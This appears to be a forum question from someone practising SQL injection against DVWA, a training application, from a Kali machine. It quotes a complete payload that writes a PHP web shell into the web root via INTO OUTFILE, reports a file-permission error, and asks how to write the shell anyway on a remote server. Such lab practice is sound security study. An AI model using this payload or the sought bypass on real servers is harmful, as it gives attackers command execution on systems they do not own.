My attack machine is running Kali and the server is running CentOS 6.4 with DVWA.
I'm trying to write a shell through an SQL injection. The payload is
' UNION SELECT '', '<?PHP system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/dvwa/shell.php';#
When submitting I get the following error:
Can't create/write to file 'var/www/html/dvwa/shell.php' (Errcode13)
Searching the problem seems to be either privileges issue or SELinux. I have noticed that if I change the destination to './shell.php'
, the file is saved in the server on /var/lib/mysql
, whose owner is mysql (the owner of /var/www/html/*
is apache).
Assuming this is a remote server which I don't have access, how could I deal with this situation for successfully write the shell to /var/www/html/dvwa/
?